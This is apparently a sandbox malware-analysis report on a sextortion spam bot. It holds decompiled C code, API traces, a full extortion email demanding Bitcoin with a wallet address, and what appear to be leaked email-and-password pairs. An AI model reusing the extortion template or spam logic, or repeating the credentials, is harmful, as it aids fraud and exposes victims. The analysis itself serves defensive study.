                                                                                                                                                                                                                                                                                                                                                      0x010a22c3
                                                                                                                                                                                                                                                                                                                                                      0x010a22c5
                                                                                                                                                                                                                                                                                                                                                      0x010a22d0
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a22f3
                                                                                                                                                                                                                                                                                                                                                      0x010a1b44
                                                                                                                                                                                                                                                                                                                                                      0x010a1b49
                                                                                                                                                                                                                                                                                                                                                      0x010a1b4c
                                                                                                                                                                                                                                                                                                                                                      0x010a1b59
                                                                                                                                                                                                                                                                                                                                                      0x010a1b60
                                                                                                                                                                                                                                                                                                                                                      0x010a1b66
                                                                                                                                                                                                                                                                                                                                                      0x010a1b75
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7a
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7d
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1b86
                                                                                                                                                                                                                                                                                                                                                      0x010a1b89
                                                                                                                                                                                                                                                                                                                                                      0x010a1b98
                                                                                                                                                                                                                                                                                                                                                      0x010a1b9e
                                                                                                                                                                                                                                                                                                                                                      0x010a1ba5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1bab
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb8
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb8
                                                                                                                                                                                                                                                                                                                                                      0x010a1bc4
                                                                                                                                                                                                                                                                                                                                                      0x010a1bca
                                                                                                                                                                                                                                                                                                                                                      0x010a1bcc
                                                                                                                                                                                                                                                                                                                                                      0x010a1c01
                                                                                                                                                                                                                                                                                                                                                      0x010a1c07
                                                                                                                                                                                                                                                                                                                                                      0x010a1c0a
                                                                                                                                                                                                                                                                                                                                                      0x010a1bce
                                                                                                                                                                                                                                                                                                                                                      0x010a1bdf
                                                                                                                                                                                                                                                                                                                                                      0x010a1be5
                                                                                                                                                                                                                                                                                                                                                      0x010a1be8
                                                                                                                                                                                                                                                                                                                                                      0x010a1be8
                                                                                                                                                                                                                                                                                                                                                      0x010a1c22
                                                                                                                                                                                                                                                                                                                                                      0x010a1c27
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2a
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2c
                                                                                                                                                                                                                                                                                                                                                      0x010a1c3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1c46
                                                                                                                                                                                                                                                                                                                                                      0x010a1c46
                                                                                                                                                                                                                                                                                                                                                      0x010a1c4d
                                                                                                                                                                                                                                                                                                                                                      0x010a1c5b
                                                                                                                                                                                                                                                                                                                                                      0x010a1c62
                                                                                                                                                                                                                                                                                                                                                      0x010a1c68
                                                                                                                                                                                                                                                                                                                                                      0x010a1c77
                                                                                                                                                                                                                                                                                                                                                      0x010a1c7e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c84
                                                                                                                                                                                                                                                                                                                                                      0x010a1c87
                                                                                                                                                                                                                                                                                                                                                      0x010a1c8d
                                                                                                                                                                                                                                                                                                                                                      0x010a1c9b
                                                                                                                                                                                                                                                                                                                                                      0x010a1c9f
                                                                                                                                                                                                                                                                                                                                                      0x010a1ca7
                                                                                                                                                                                                                                                                                                                                                      0x010a1ca9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cb7
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1cc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cd3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cd9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cdc
                                                                                                                                                                                                                                                                                                                                                      0x010a1ce2
                                                                                                                                                                                                                                                                                                                                                      0x010a1ce9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cf4
                                                                                                                                                                                                                                                                                                                                                      0x010a1cfc
                                                                                                                                                                                                                                                                                                                                                      0x010a1cfe
                                                                                                                                                                                                                                                                                                                                                      0x010a1d0c
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1d18
                                                                                                                                                                                                                                                                                                                                                      0x010a1d1f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d23
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2d
                                                                                                                                                                                                                                                                                                                                                      0x010a1d3b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a22d9
                                                                                                                                                                                                                                                                                                                                                      0x010a22e4
                                                                                                                                                                                                                                                                                                                                                      0x010a22ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b81
                                                                                                                                                                                                                                                                                                                                                      0x010a1b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b5b
                                                                                                                                                                                                                                                                                                                                                      0x010a1b59
                                                                                                                                                                                                                                                                                                                                                      0x010a22f8
                                                                                                                                                                                                                                                                                                                                                      0x010a2301
                                                                                                                                                                                                                                                                                                                                                      0x010a230a
                                                                                                                                                                                                                                                                                                                                                      0x010a2314
                                                                                                                                                                                                                                                                                                                                                      0x010a2320
                                                                                                                                                                                                                                                                                                                                                      0x010a2320

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1320: GetTickCount.KERNEL32 ref: 010A132A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1320: srand.MSVCRT ref: 010A1331
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1320: rand.MSVCRT ref: 010A1353
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1320: sprintf.MSVCRT ref: 010A136E
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A1D65
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1490: GetLocalTime.KERNEL32(?), ref: 010A1528
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1490: GetTimeZoneInformation.KERNELBASE(00000000), ref: 010A1563
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1490: wsprintfA.USER32 ref: 010A164E
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000007D0), ref: 010A1D86
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1490: FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 010A153B
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1490: FileTimeToSystemTime.KERNEL32(?,?), ref: 010A154C
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 010A1DAD
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 010A1DBE
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 010A1DCF
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 010A1DE0
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1390: rand.MSVCRT ref: 010A13A0
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1390: rand.MSVCRT ref: 010A13CD
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A1E0F
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1120: lstrlenA.KERNEL32(?), ref: 010A112D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1120: send.WS2_32(?,?,000000FF,00000000), ref: 010A1144
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A1E7F
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 010A230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 010A2314
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • To: %s, xrefs: 010A1F08
                                                                                                                                                                                                                                                                                                                                                      • But you can stop me and only I can help you out in this situation., xrefs: 010A2162
                                                                                                                                                                                                                                                                                                                                                      • You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger., xrefs: 010A21D9
                                                                                                                                                                                                                                                                                                                                                      • Received: (qmail %s invoked by uid %s); %s, xrefs: 010A1E73
                                                                                                                                                                                                                                                                                                                                                      • Next time make sure that your device got the newsest security updates., xrefs: 010A2251
                                                                                                                                                                                                                                                                                                                                                      • Mime-Version: 1.0, xrefs: 010A2055
                                                                                                                                                                                                                                                                                                                                                      • I collected all your private data and I RECORDED YOU (through your cam) SATISFYING YOURSELF!, xrefs: 010A2126
                                                                                                                                                                                                                                                                                                                                                      • Your device was infected with my private malware, your browser wasn't updated / patched, in such case it's enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit., xrefs: 010A20C3
                                                                                                                                                                                                                                                                                                                                                      • Subject: %s, xrefs: 010A1F52
                                                                                                                                                                                                                                                                                                                                                      • Yes, that's how the wallet / address looks like, copy and paste it, it's (cAsE-sEnSEtiVE)., xrefs: 010A2215
                                                                                                                                                                                                                                                                                                                                                      • Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s, xrefs: 010A1E03
                                                                                                                                                                                                                                                                                                                                                      • My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam., xrefs: 010A20D7
                                                                                                                                                                                                                                                                                                                                                      • %s.com, xrefs: 010A1D59
                                                                                                                                                                                                                                                                                                                                                      • After receiving the payment, I will remove everything and you can life your live in peace like before, don't worry, I keep my promise., xrefs: 010A223D
                                                                                                                                                                                                                                                                                                                                                      • The only way to stop me, is to pay exactly 1200$ in Bitcoin (BTC)., xrefs: 010A2176
                                                                                                                                                                                                                                                                                                                                                      • Hi, today there are sadly some bad news for you., xrefs: 010A20AF
                                                                                                                                                                                                                                                                                                                                                      • ClientMailID: , xrefs: 010A2265
                                                                                                                                                                                                                                                                                                                                                      • I give you 3 days time to pay., xrefs: 010A2229
                                                                                                                                                                                                                                                                                                                                                      • , xrefs: 010A2112
                                                                                                                                                                                                                                                                                                                                                      • Message-ID: <%s.%s@%s>, xrefs: 010A200E
                                                                                                                                                                                                                                                                                                                                                      • After that I removed my malware to not leave any traces and this email was sent from some hacked server., xrefs: 010A213A
                                                                                                                                                                                                                                                                                                                                                      • It's a very good offer, compared to all that horrible shit that will happen if I publish everything., xrefs: 010A218A
                                                                                                                                                                                                                                                                                                                                                      • ., xrefs: 010A229A
                                                                                                                                                                                                                                                                                                                                                      • If you think this is some bad joke, no, I know your password: , xrefs: 010A20EB
                                                                                                                                                                                                                                                                                                                                                      • I can publish the video of you and all your private data on the whole web, social networks, over email and send everything to all your contacts., xrefs: 010A214E
                                                                                                                                                                                                                                                                                                                                                      • Date: %s, xrefs: 010A1F9E
                                                                                                                                                                                                                                                                                                                                                      • You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine., xrefs: 010A21ED
                                                                                                                                                                                                                                                                                                                                                      • Content-type: text/plain;, xrefs: 010A2078
                                                                                                                                                                                                                                                                                                                                                      • My Bitcoin (BTC) wallet is: bc1q0yevmcvnhhus02659zr6ssu8u6x05s4jjrw8ta, xrefs: 010A2201
                                                                                                                                                                                                                                                                                                                                                      • From: John Blue %s, xrefs: 010A1EBF
                                                                                                                                                                                                                                                                                                                                                      • I RECORDED YOU!, xrefs: 010A1F4D
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: rand$Time$wsprintf$File$Local$CountInformationSleepSystemTickZoneclosesocketlstrlensendshutdownsprintfsrand
                                                                                                                                                                                                                                                                                                                                                      • String ID: $.$%s.com$After receiving the payment, I will remove everything and you can life your live in peace like before, don't worry, I keep my promise.$After that I removed my malware to not leave any traces and this email was sent from some hacked server.$But you can stop me and only I can help you out in this situation.$ClientMailID: $Content-type: text/plain;$Date: %s$From: John Blue %s$Hi, today there are sadly some bad news for you.$I RECORDED YOU!$I can publish the video of you and all your private data on the whole web, social networks, over email and send everything to all your contacts.$I collected all your private data and I RECORDED YOU (through your cam) SATISFYING YOURSELF!$I give you 3 days time to pay.$If you think this is some bad joke, no, I know your password: $It's a very good offer, compared to all that horrible shit that will happen if I publish everything.$Message-ID: <%s.%s@%s>$Mime-Version: 1.0$My Bitcoin (BTC) wallet is: bc1q0yevmcvnhhus02659zr6ssu8u6x05s4jjrw8ta$My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.$Next time make sure that your device got the newsest security updates.$Received: (qmail %s invoked by uid %s); %s$Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s$Subject: %s$The only way to stop me, is to pay exactly 1200$ in Bitcoin (BTC).$To: %s$Yes, that's how the wallet / address looks like, copy and paste it, it's (cAsE-sEnSEtiVE).$You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.$You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.$Your device was infected with my private malware, your browser wasn't updated / patched, in such case it's enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1336957093-2969783234
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0f2ea93dbf8d0254cb16edfb96a60d2dc4a24003c0933fbff11d6251687c798f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e8fe9108f5d09f46af086411e726b51f41b4dc9b40e2e0ecf4cbe68e80d22a3b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0f2ea93dbf8d0254cb16edfb96a60d2dc4a24003c0933fbff11d6251687c798f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D6E1E4B2D40218BBDB10DBD0DC41FEEB379BB64601F8445ACE64CAA141F77AA7588F61
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A2500 Relevance: 61.4, APIs: 29, Strings: 6, Instructions: 178sleepthreadfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 88%
                                                                                                                                                                                                                                                                                                                                                      			E010A2500(void* _a4) {
				short _v524;
				signed int _v528;
				short _v1052;
				long _v1572;
				short _v2092;
				char _v2356;
				int _v2360;
				int _v2364;
				char* _t59;
				char* _t66;
				int _t67;
				signed int _t70;
				signed int _t74;
				signed int _t76;
				signed int _t78;
				int _t83;
				int _t85;
				signed int _t88;
				void* _t122;
				void* _t134;
				void* _t139;

				memcpy( &_v2356, _a4, 0x41 << 2);
				srand(GetTickCount());
				E010A27B0(0,  &_v2092, 0, 0x104);
				E010A27B0( &_v1572,  &_v1572, 0, 0x104);
				E010A27B0( &_v1572,  &_v1052, 0, 0x104);
				E010A27B0( &_v1572,  &_v524, 0, 0x104);
				memset("[102.129.143.78]", 0, 0x1f4);
				_t59 = E010A17D0(); // executed
				strcpy("[102.129.143.78]", _t59);
				ExpandEnvironmentStringsW(L"%temp%",  &_v2092, 0x104);
				mbstowcs( &_v1572,  &_v2356, 0x105);
				wsprintfW( &_v1052, L"%sn.txt",  &_v1572);
				_t66 = E010A1950(0,  &_v1052, 0); // executed
				_t67 = atoi(_t66);
				_t134 = _t122 + 0x7c;
				_v528 = _t67;
				if(_v528 <= 0) {
					ExitThread(0);
				} else {
					goto L1;
				}
				while(1) {
					L1:
					Sleep(0x3e8); // executed
					E010A27B0( &_v524,  &_v524, 0, 0x104);
					E010A27B0( &_v524, "C:\Users\alfons\AppData\Local\Temp\6235107758290.jpg", 0, 0x104);
					_t70 = rand();
					asm("cdq");
					wsprintfW( &_v524, L"%s%d.txt",  &_v1572, _t70 % _v528 + 1);
					_t74 = rand();
					asm("cdq");
					_t76 = rand();
					asm("cdq");
					_t78 = rand();
					asm("cdq");
					wsprintfW("C:\Users\alfons\AppData\Local\Temp\6235107758290.jpg", L"%s\\%d%d%d.jpg",  &_v2092, _t78 % 0x7fff + 0x3e8, _t76 % 0x7fff + 0x3e8, _t74 % 0x7fff + 0x3e8);
					E010A1950(1,  &_v524, "C:\Users\alfons\AppData\Local\Temp\6235107758290.jpg"); // executed
					_t139 = _t134 + 0x4c;
					_t83 = PathFileExistsW("C:\Users\alfons\AppData\Local\Temp\6235107758290.jpg"); // executed
					if(_t83 == 0) {
						goto L7;
					}
					_v2364 = 0;
					while(_v2364 < 0xbb8) {
						CreateThread(0, 0, E010A2360, 0, 0, 0); // executed
						_t88 = rand();
						asm("cdq");
						Sleep(_t88 % 0x64 + 0x32); // executed
						_v2364 = _v2364 + 1;
					}
					DeleteFileW("C:\Users\alfons\AppData\Local\Temp\6235107758290.jpg");
					L7:
					_t85 = atoi(E010A1950(0,  &_v1052, 0));
					_t134 = _t139 + 0x10;
					_v2360 = _t85;
					if(_v2360 >= 1) {
						continue;
					}
					ExitProcess(0);
				}
			}
























                                                                                                                                                                                                                                                                                                                                                      0x010a2519
                                                                                                                                                                                                                                                                                                                                                      0x010a2522
                                                                                                                                                                                                                                                                                                                                                      0x010a2538
                                                                                                                                                                                                                                                                                                                                                      0x010a254e
                                                                                                                                                                                                                                                                                                                                                      0x010a2564
                                                                                                                                                                                                                                                                                                                                                      0x010a257a
                                                                                                                                                                                                                                                                                                                                                      0x010a258e
                                                                                                                                                                                                                                                                                                                                                      0x010a2596
                                                                                                                                                                                                                                                                                                                                                      0x010a25a1
                                                                                                                                                                                                                                                                                                                                                      0x010a25ba
                                                                                                                                                                                                                                                                                                                                                      0x010a25d3
                                                                                                                                                                                                                                                                                                                                                      0x010a25ee
                                                                                                                                                                                                                                                                                                                                                      0x010a2602
                                                                                                                                                                                                                                                                                                                                                      0x010a260b
                                                                                                                                                                                                                                                                                                                                                      0x010a2610
                                                                                                                                                                                                                                                                                                                                                      0x010a2613
                                                                                                                                                                                                                                                                                                                                                      0x010a2620
                                                                                                                                                                                                                                                                                                                                                      0x010a279c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a2626
                                                                                                                                                                                                                                                                                                                                                      0x010a2626
                                                                                                                                                                                                                                                                                                                                                      0x010a262b
                                                                                                                                                                                                                                                                                                                                                      0x010a263f
                                                                                                                                                                                                                                                                                                                                                      0x010a2653
                                                                                                                                                                                                                                                                                                                                                      0x010a265b
                                                                                                                                                                                                                                                                                                                                                      0x010a2660
                                                                                                                                                                                                                                                                                                                                                      0x010a267e
                                                                                                                                                                                                                                                                                                                                                      0x010a2687
                                                                                                                                                                                                                                                                                                                                                      0x010a268c
                                                                                                                                                                                                                                                                                                                                                      0x010a269b
                                                                                                                                                                                                                                                                                                                                                      0x010a26a0
                                                                                                                                                                                                                                                                                                                                                      0x010a26af
                                                                                                                                                                                                                                                                                                                                                      0x010a26b4
                                                                                                                                                                                                                                                                                                                                                      0x010a26d4
                                                                                                                                                                                                                                                                                                                                                      0x010a26eb
                                                                                                                                                                                                                                                                                                                                                      0x010a26f0
                                                                                                                                                                                                                                                                                                                                                      0x010a26f8
                                                                                                                                                                                                                                                                                                                                                      0x010a2700
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a2702
                                                                                                                                                                                                                                                                                                                                                      0x010a271d
                                                                                                                                                                                                                                                                                                                                                      0x010a2738
                                                                                                                                                                                                                                                                                                                                                      0x010a273e
                                                                                                                                                                                                                                                                                                                                                      0x010a2743
                                                                                                                                                                                                                                                                                                                                                      0x010a274f
                                                                                                                                                                                                                                                                                                                                                      0x010a2717
                                                                                                                                                                                                                                                                                                                                                      0x010a2717
                                                                                                                                                                                                                                                                                                                                                      0x010a275c
                                                                                                                                                                                                                                                                                                                                                      0x010a2762
                                                                                                                                                                                                                                                                                                                                                      0x010a2776
                                                                                                                                                                                                                                                                                                                                                      0x010a277b
                                                                                                                                                                                                                                                                                                                                                      0x010a277e
                                                                                                                                                                                                                                                                                                                                                      0x010a278b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a2795
                                                                                                                                                                                                                                                                                                                                                      0x010a278f
                                                                                                                                                                                                                                                                                                                                                      0x010a278f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 010A251B
                                                                                                                                                                                                                                                                                                                                                      • srand.MSVCRT ref: 010A2522
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 010A2538
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 010A254E
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 010A2564
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 010A257A
                                                                                                                                                                                                                                                                                                                                                      • memset.MSVCRT ref: 010A258E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A17D0: InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 010A17E3
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A17D0: InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 010A1807
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A17D0: InternetReadFile.WININET(00000000,?,00000063,?), ref: 010A1824
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A17D0: wsprintfA.USER32 ref: 010A1860
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A17D0: InternetCloseHandle.WININET(00000000), ref: 010A1882
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A17D0: InternetCloseHandle.WININET(?), ref: 010A18A1
                                                                                                                                                                                                                                                                                                                                                      • strcpy.MSVCRT([102.129.143.78],00000000), ref: 010A25A1
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 010A25BA
                                                                                                                                                                                                                                                                                                                                                      • mbstowcs.MSVCRT ref: 010A25D3
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 010A25EE
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1950: memset.MSVCRT ref: 010A1962
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1950: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 010A1977
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1950: InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 010A199A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1950: CreateFileW.KERNELBASE(010A2607,40000000,00000000,00000000,00000002,00000000,00000000), ref: 010A19C9
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1950: InternetReadFile.WININET(00000000,ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33,000003FF,010A2607), ref: 010A19EA
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1950: WriteFile.KERNELBASE(000000FF,ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33,00000000,00000000,00000000), ref: 010A1A0D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1950: CloseHandle.KERNEL32(000000FF), ref: 010A1A19
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1950: InternetCloseHandle.WININET(00000000), ref: 010A1A3D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1950: InternetCloseHandle.WININET(00000000), ref: 010A1A47
                                                                                                                                                                                                                                                                                                                                                      • atoi.MSVCRT ref: 010A260B
